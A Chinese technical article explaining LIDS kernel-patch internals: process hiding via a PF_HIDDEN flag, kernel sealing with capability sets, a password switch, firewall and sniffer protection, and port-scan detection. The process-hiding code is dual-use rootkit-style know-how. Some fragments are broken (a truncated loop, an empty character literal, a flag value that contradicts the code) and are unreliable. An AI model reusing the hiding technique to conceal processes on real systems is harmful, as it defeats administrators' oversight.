在include/linux/sched.h里
#ifdef CONFIG_LIDS_HIDE_PROC
#define PF_HIDDEN 0x04000000 /* Hidden process */
#endif
/* in fs/lids.c */
#ifdef CONFIG_LIDS_HIDE_PROC
struct allowed_ino proc_to_hide[LIDS_MAX_ALLOWED];
int last_hide=0;
#endif
....
/* in fs/lids.c , init_vfs_security(),
fill up the hidden process in proc_to_hide[]
*/
#ifdef CONFIG_LIDS_HIDE_PROC
lids_fill_table(proc_to_hide,&last_hide,LIDS_MAX_ALLOWED,CONFIG_LIDS_HIDDEN_PROC_PATH);
#endif
PF_HIDDEN是否用户可以用显示进程的命令(如“ps –a”)来显示和检查进程,如果一个进程被LIDS隐藏,当他执行的时候,进程就会得到一个PF_HIDDEN的属性。然后,当系统输出系统进程信息到用户的时候,它就会可以检查当前输出进程是否有PF_HIDDEN标志。如果发现了,它就不会输出这个进程的信息。
在in fs/exec.c
int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)
{
...
if (retval >= 0) {
#ifdef CONFIG_LIDS_HIDE_PROC
if (lids_search_proc_to_hide(dentry->d_inode))
current->flags |= PF_HIDDEN;
...
因为每一个linux的进程都有一个在/proc文件系统的入口,我们为了隐藏进程也需要修改proc的文件入口。
在fs/proc/root.c
static struct dentry *proc_root_lookup(struct inode * dir, struct dentry * dentry)
{
...
inode = NULL;
#ifdef CONFIG_LIDS_HIDE_PROC
if ( pid && p && (! ((p->flags & PF_HIDDEN) && lids_load && lids_local_load)) ) {
#else
if (pid && p) {
#endif
unsigned long ino = (pid >> 16) + PROC_PID_INO;
inode = proc_get_inode(dir->i_sb, ino, &proc_pid);
if (!inode)
return ERR_PTR(-EINVAL);
inode->i_flags|=S_IMMUTABLE;
}
...
}
然后如果进程被PF_HIDDEN标记,它就不会在proc文件系统里显示。
例如,我们需要象内核里插入一些需要的模块,但是我们不希望在系统运行的时候插入任何模块,因为那样会十分危险。如何解决这个问题呢?这里就有一些密封的方法。我们可以在系统启动的时候做我们任何想做的事情,然后我们就密封内核。然后,我们就不能做那些以前在没有密封的时候可以做的事情。用密封的方法,我们可以用模块来解决问题,我们可以在密封前向内核里插入我们想要的模块,在密封后我们就不可以在内核里插入或是删除任何模块。
1、用LIDS密封内核
为了密封内核,我们可以用下面的LIDS命令
#lidsadm –I -- -CAP_xxx….
它们可以放到脚本里让系统启动的时候就执行它。具体你们可以看我以前在linuxbyte和chinabyte发表的文章。LIDS是通过/proc/sys/lids/locks和内核通讯的。
当你密封了内核,lidsadm是调用lidsadm.c的lids_init()的调用。
#define LIDS_LOCKS "/proc/sys/lids/locks"
......
void lids_init(int optind, int argc, char *argv[])
{
......
if ((fd=open(LIDS_LOCKS,O_RDWR)) == -1) {
perror("open");
exit_error (2, "can't open " LIDS_LOCKS);
}
if (read(fd,&locks,sizeof(lids_locks_t))==-1) {
perror("read");
exit_error (2, "can't read " LIDS_LOCKS);
}
lids_set_caps(optind,argc,argv,&locks);
locks.magic1=LIDS_MAGIC_1;
.........
if (write(fd,&locks,sizeof(lids_locks_t))==-1) {
perror("write");
exit_error (2, "can't write " LIDS_LOCKS);
}
.....
}
这个系统调用在LIDS_LOCKS生成新的变量loks,内核会通过lids_proc_locks_sysctl()命令来读取它。Lids_proc_locks_sysctl也会从用户区完全检查并读取它,然后改变密封的变量lids_first_time为0。
让我们看看lids_proc_locks_sysctl().这个函数会在用户读写/proc/sys/lids/locks的时候调用。
int lids_proc_locks_sysctl(ctl_table *table, int write, struct file *filp,
void *buffer, size_t *lenp, int conv, int op)
{
...........
/* first: check the terminal and the program which access the sysctl */
#ifndef CONFIG_LIDS_REMOTE_SWITCH
if (current->tty && (current->tty->driver.type != 2) ) {
lids_security_alert("Try to %s locks sysctl (unauthorized terminal)",
write ? "write" : "read");
return -EPERM;
}
#endif
........
/* second: check wether it is not a timeout period after two many failed attempts */
.......
if (write) {
/* Third : check what is submitted (size, magics, passwd) */
if (*lenp != sizeof(lids_locks_t)) {
lids_security_alert("Try to feed locks sysctl with garbage");
return -EINVAL;
}
if (copy_from_user(&locks,buffer,sizeof(lids_locks_t)))
return -EFAULT;
.......
if ((lids_first_time) && (!locks.passwd[0])) {
.........
number_failed=0;
if (lids_process_flags(locks.flags)) {
cap_bset=locks.cap_bset;
lids_security_alert("Changed: cap_bset=0x%x lids_flags=0x%x",cap_t(cap_bset),lids_flags);
}
Change flag here ..--> lids_first_time=0;
.....
}
上面的函数会在密封内核或是改变内核安全级别的时候工作。变量lids_first_time是一个表明当前密封状态的的一个标志。当改变了需要的使能位,这个标志就会置1表明当前的状态是“密封后“。
密封内核有两个任务,首先,改变使能位,然后,改变lids_first_time标志为1。在密封后,系统就不允许改变它们了,除非你用lidsadm和密码。
2、在密封前保护程序
因为在密封前的状态是危险的,我们必须知道在密封前那些运行的程序是LIDS来保护的。为什么呢?因为密封后我们就不能改变它们了。如果文件没有被保护,一些人就可以改变他们然后重新启动,这些程序可能对系统非常危险。让我们来看看在没有密封前一个运行的非保护程序的代码。
int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)
{
..........
#ifdef CONFIG_LIDS_SA_EXEC_UP
if (lids_first_time && lids_load) {
if (!lids_check_base(dentry,LIDS_READONLY))
#ifdef CONFIG_LIDS_NO_EXEC_UP
lids_security_alert("Try to exec unprotected program %s before sealing LIDS",filename);
if (dentry)
dput(dentry);
return -EPERM;
#else
lids_security_alert("Exec'ed unprotected program %s before sealing LIDS",filename);
#endif
}
}
#endif
......
}
你会看到当LIDS保护系统开启(lids_load==1)和当前系统没有密封(lids_firest_time 为1)的时候,内核就会检查当前程序是否在LIDS的lids_check_base()保护下。如果没有被保护,它就会启动报警信息。
在/include/linux/capability.h
typedef struct __user_cap_header_struct {
__u32 version;
int pid;
} *cap_user_header_t;
typedef struct __user_cap_data_struct {
__u32 effective;
__u32 permitted;
__u32 inheritable;
} *cap_user_data_t;
#ifdef __KERNEL__
/* #define STRICT_CAP_T_TYPECHE
#ifdef STRICT_CAP_T_TYPECHECKS
typedef struct kernel_cap_struct {
__u32 cap;
} kernel_cap_t;
#else
typedef __u32 kernel_cap_t;
#endif
kernel_cap_t cap_bset = CAP_FULL_SET;
在kernel_ap_t的每一位都代表一个许可。Cap_bset是capability集的主要部分。它们的值可以通过改变/proc/sys/kernel/cap-bound来改变。
看看上面的文件,你就会发现一些问题。
/* in include/linux/capability.h */
/* In a system with the [_POSIX_CHOWN_RESTRICTED] option defined, this
overrides the restriction of changing file ownership and group
ownership. */
#define CAP_CHOWN 0
/* Override all DAC access, including ACL execute access if
[_POSIX_ACL] is defined. Excluding DAC access covered by
CAP_LINUX_IMMUTABLE. */
#define CAP_DAC_OVERRIDE 1
/* Overrides all DAC restrictions regarding read and search on files
and directories, including ACL restrictions if [_POSIX_ACL] is
defined. Excluding DAC access covered by CAP_LINUX_IMMUTABLE. */
#define CAP_DAC_READ_SEARCH 2
.........
每一个任务(进程)在结构task_struct定义了三个成员:cap_effective,cap_inheritable,cap_permitted.我们已经有了一个用来表明基本capability的变量cap_bset。它们会检测这个系统并确定那种capability用来控制系统。
在内核实现的大部分系统调用会调用函数capable() (在kernel/sched.c)。然后会调用cap_raised() (在/include/linux/capability.h)。如下:
#ifdef CONFIG_LIDS_ALLOW_SWITCH
#define cap_raised(c, flag) ((cap_t(c) & CAP_TO_MASK(flag)) && ((CAP_TO_MASK(flag) & cap_bset) || (!lids_load) || (!lids_local_load)))
#else
#define cap_raised(c, flag) (cap_t(c) & CAP_TO_MASK(flag) & cap_bset)
#endif
你会看到这里的cap_bset(一般默认都是1)是很重要的。如果有人在那里把一些位置0,capability就可以会禁止整个系统。如,18 位的CAP_SYS_CHROOT, 如果我们把他置0,表明我们就不能用chroot()了。
如果你看到sys_chroot的源代码,你就发现很多问题了:
if (!capable(CAP_SYS_CHROOT)) {
goto dput_and_out;
}
capable()会返回0,在位18为0,这样chroot就会给用户返回一个错误信息。
2、在LIDS里的capability
LIDS用capability来限制整个动作进程。LIDS用的函数是capable()。在内核代码中已经存在的许多capable()里。我们可以禁止一些当前系统默认的capability并且在用户违反LIDS定义的规则的时候报警。
至于管理员,他们也可以用lidsadm和密码来改变capability。当内核授权用户的时候,capability变量cap_bset 就会改变。
作为管理员一个需要理解的重要东西是每一个capability的意思。然后,在密封内核的时候禁止capability,并用密码来改变它们。
1、在内核中的两个安全级别
LIDS在内核中定义了两个安全级别,安全的security和无安全的none_security.默认情况下,是设置成安全的级别。如果你需要改变它。就在启动的时候键入security=0.
在内核中有一个全局变量lids_load。它表明是否lids的安全变量security被开启。它默认是1。如果在系统启动的时候在LILO:键入security=0 ,所有的LIDS的保护都会失效,就象那些没有LIDS保护的系统一样。
/* variant defined in fs/lids.c */
int lids_reload_conf=0;
int lids_load=0; /* it is raised to 1 when kernel boot */
int lids_local_on=1;
int lids_local_pid=0;
/* in init/main.c */
#ifdef CONFIG_LIDS
/*
* lids_setup , read lids info from the kernel.
*/
static void __init lids_setup(char *str, int *ints)
{
if (ints[0] > 0 && ints[1] >= 0)
====> _lids_load= ints[1];
}
#endif
....
/* init the LIDS when the system bootup up */
static void __init do_basic_setup(void)
{
......
/* Mount the root filesystem.. */
mount_root();
#ifdef CONFIG_LIDS
/* init the ids file system */
---> lids_load=_lids_load;
lids_local_on=_lids_load;
lids_flags=lids_load * (LIDS_FLAGS_LIDS_ON | LIDS_FLAGS_LIDS_LOCAL_ON);
===> printk("Linux Intrusion Detection System %s n",lids_load==1?"starts":"stops");
init_vfs_security();
#endif
......
}
在系统启动的时候,你可以看到”Linux Intrusion Detection System 0.9 starts”,表明LIDS的保护开启了。当保护停止的时候,你可以看到”Linux Intrusion Detection System 0.9 stops”。这里的0.9是当前的LIDS版本号。
2、用lidsadm来改变系统安全级别
一些时候,有也可以在线的时候改变你的安全级别,你必须把CONFIG_LIDS_ALLOW_SWITCH功能开启。并且在编译前配置内核的时候提供一个RipeMD-160 encrypted password 。
这个密码可以用lidsadm –p 命令来获得
用内核鉴定
用提供的密码,LIDS可以鉴定用户来区分哪个用户可以转换内核的安全级别。
这个功能也要用到lidsadm的-S参数。如。
# /sbin/lidsadm -S -- -LIDS
SWITCH
Password:xxxxxx
#
在输入密码后,我们就可以转换LIDS的安全关闭。
让我们看看内部的编码来了解它是如何工作的,
/* in the fs/lids.c lids_proc_locks_sysctl() */
int lids_proc_locks_sysctl(ctl_table *table, int write, struct file *filp,
void *buffer, size_t *lenp, int conv, int op)
{
lids_locks_t locks;
byte hashcode[RMDsize/8];
char rmd160sig[170];
.......
locks.passwd[sizeof(passwd_t)-1]=0; /* We don't take the risk */
rmd160sig[0]=0;
#ifdef CONFIG_LIDS_ALLOW_SWITCH
if ((!lids_first_time) || (locks.passwd[0])) {
RMD((byte *)locks.passwd,hashcode);
memset((char *)locks.passwd,'',sizeof(passwd_t));
for (i=0; i
sprintf(rmd160sig+2*i,"%02x", hashcode[i]);
}
if ( ((lids_first_time) && (!locks.passwd[0])) ||
----------> (!strncmp(rmd160sig,CONFIG_LIDS_RMD160_PASSWD,160)) ) {
#else
if ((lids_first_time) && (!locks.passwd[0])) {
#endif
/* access granted ! */
number_failed=0;
if (lids_process_flags(locks.flags)) {
cap_bset=locks.cap_bset;
lids_security_alert("Changed: cap_bset=0x%x lids_flags=0x%x",cap_t(cap_bset),lids_flags);
}
lids_first_time=0;
}
........
}
在密码检查正确后。Lids_process_flag()就会改变当前的lids标记为关闭状态,然后你就可以在不受保护的系统做你想要做的事情了。你可以看看fs/lids.c的lids_process_flag的代码来了解它。
转换LIDS和LIDA_GLOBAL
如果你把LIDS的保护关闭,你会有两个结果,一,关闭后其它没有被LIDS保护的控制台一样不受保护,二,可以本地的关闭它们,在其它的控制台,所有的系统依然被LIDS保护。它们一样很安全。
这些细节是fs/lids的lids_process_flag()来实现。
如果你的主机包含一些防火墙规则。你可以用LIDS来保护它们。你可以开启CONFIG_LIDS_ALLOW_CHANGE_ROUTESLAI 实现这个功能。你也必须在密封内核的时候关闭CAP_NET_ADMIN。
然后,你也可以允许程序更改路由规则。
让我们来看看保护防火墙规则的代码吧。每一个改变防火墙的请求都会调用内核的ip_setsockopt()函数。
int ip_setsockopt(struct sock *sk, int level, int optname, char *optval, int optlen)
{
........
switch(optname)
{
.......
case IP_FW_DELETE_NUM:
case IP_FW_INSERT:
case IP_FW_FLUSH:
case IP_FW_ZERO:
case IP_FW_CHECK:
case IP_FW_CREATECHAIN:
case IP_FW_DELETECHAIN:
case IP_FW_POLICY:
#ifdef CONFIG_LIDS_ALLOW_CHANGE_ROUTES
if (!(capable(CAP_NET_ADMIN) || (current->flags & PF_CHROUTES))) {
#else
if (!capable(CAP_NET_ADMIN)) {
#endif
#ifdef CONFIG_LIDS
lids_security_alert("CAP_NET_ADMIN violation: try to change IP firewall rules with option %d",optname);
#endif
return -EACCES;
}
........
从上面的代码,我们可以看到如果有人要改变防火墙的规则,你必须把CAP_NET_ADMIN开启,并且你要修改规则的程序必须用routing_changeable来标记。
2、禁止嗅探
这个功能也是在上面的changing_route来实现的。让我们来看看net/core/dev.c的代码。
int dev_ioctl(unsigned int cmd, void *arg)
{
........
switch(cmd)
{
........
case SIOCSIFMETRIC:
case SIOCSIFMTU:
case SIOCSIFMAP:
case SIOCSIFHWADDR:
case SIOCSIFSLAVE:
case SIOCADDMULTI:
case SIOCDELMULTI:
case SIOCSIFHWBROADCAST:
case SIOCSIFTXQLEN:
case SIOCSIFNAME:
#ifdef CONFIG_LIDS_ALLOW_CHANGE_ROUTES
if (!(capable(CAP_NET_ADMIN) || (current->flags & PF_CHROUTES))) {
#else
if (!capable(CAP_NET_ADMIN)) {
#endif
#ifdef CONFIG_LIDS
lids_security_alert("CAP_NET_ADMIN violation: ioctl SIOC #%i",cmd);
#endif
return -EPERM;
.........
你能发现,如果你要为嗅探改变状态的话, 你必须让CAP_NET_ADMIN开启来实现这个功能。你可以在内核密封前启动CAP_NET_ADMIN,然后在内核密封后禁止它。
3、内核的检测端口扫描的功能
为什么要在内核里需要一个端口扫描的检测?
因为一个端口扫描的时候能检测到半连接的扫描。所以,端口扫描检测需要作为一个嗅探的程序来运行。如果我们需要检测端口扫描。我们又要开启允许嗅探程序的运行,在内核中的端口扫描检测很有用处。
端口扫描的主要思想是在一段短的时间内扫描一个范围的端口,然后,它们会在扫描后记录那些端口是开放的。用这个方法,扫描器就可以检测到远端的机器开放了什么端口。在内核里,我们能发现下面的代码。
内核中的端口扫描检测
让我们看看tcp的端口扫描
/* in net/ipv4/tcp_ipv4.c */
int tcp_v4_rcv(struct sk_buff *skb, unsigned short len)
{
........
__skb_queue_tail(&sk->back_log, skb);
return 0;
no_tcp_socket:
#ifdef CONFIG_LIDS
lids_check_scan(skb->nh.iph->saddr,ntohs(th->dest));
#endif
tcp_v4_send_reset(skb);
discard_it:
.........
}
lids_check_scan()有两个参数,一个是影响no_sock_srror的源地址,另外一个是你要通讯的机器上的端口。
Lids_check_scan()主要的任务是统计由同一个资源发出的错误信息。但是lids_check_scan()在源地址是一个端口扫描器的时候不会做检查,它会要timer来做。现在,让我们看看lids_check_scan()的代码。
/* in net/ipv4/lids_check_scan.c */
int lids_check_scan(__u32 addr,__u16 port)
{
...........
if((p = lids_find_scan(addr)) == NULL) {
p1 = &lids_scan_head;
p = (struct lids_scan*)kmalloc(sizeof(struct lids_scan),GFP_ATOMIC);
if(p == NULL ) {
return -1;
}
while((p1->next)!=NULL)p1=p1->next;
/* init the structure. */
p1->next = p;
spin_unlock(p->lock);
p->next = NULL;
p->addr = addr;
p->counter = 0;
p->lower_counter = 0;
p->create_time = current_time;
/* init a timer to do the detect thing */
init_timer(&(p->timer));
p->timer.expires = LIDS_SCAN_TIMEOUT + current_time;
p->timer.data = (unsigned long) p;
p->timer.function = lids_proceed_scan ;
add_timer(&(p->timer));
}
/* add the counter when hit */
spin_lock(p->lock);
(p->counter)++;
/* we here defined the port < 1024 and > 1024 */
if(port < 1024)
(p->lower_counter)++;
spin_unlock(p->lock);
return 0;
}
从上面的代码,我们能看到这个函数的主要是一个列表,所以它很快。为了防止在kmalloc()的DoS的攻击,我们也需要来限制检测的列表。在这个代码里可能是错误的,但是因为记时的函数timer lids_proceed_scan能非常快的更新这个列表(每3秒一次)。所以DoS攻击很难让内核迷惑扫描源的真实性
1、允许用安全的方法登陆
在传统的内核登陆模式,我们每次都是用printk在控制台打印信息。但是这样很容易会被DoS攻击内核。他会让系统频繁的运行printk命令,我们可以在内核用security_alert()来实现报警响应功能。
你可以看看/include/linux/kernel.h的代码。
2、控制台挂起
这个功能是用安全日志来挂起那些违反LIDS定义的安全规则的人的控制台。他们要继续必须重新登陆系统。但是他们所做的一切都已经被系统日志记录下来或是用e-mail的方法发送给了管理员。
3、用e-mail或是传呼来报告管理员
这个功能是boidi开发的。用这个工具,我们可以很容易的知道系统什么地方出错,我们可以及时的响应入侵。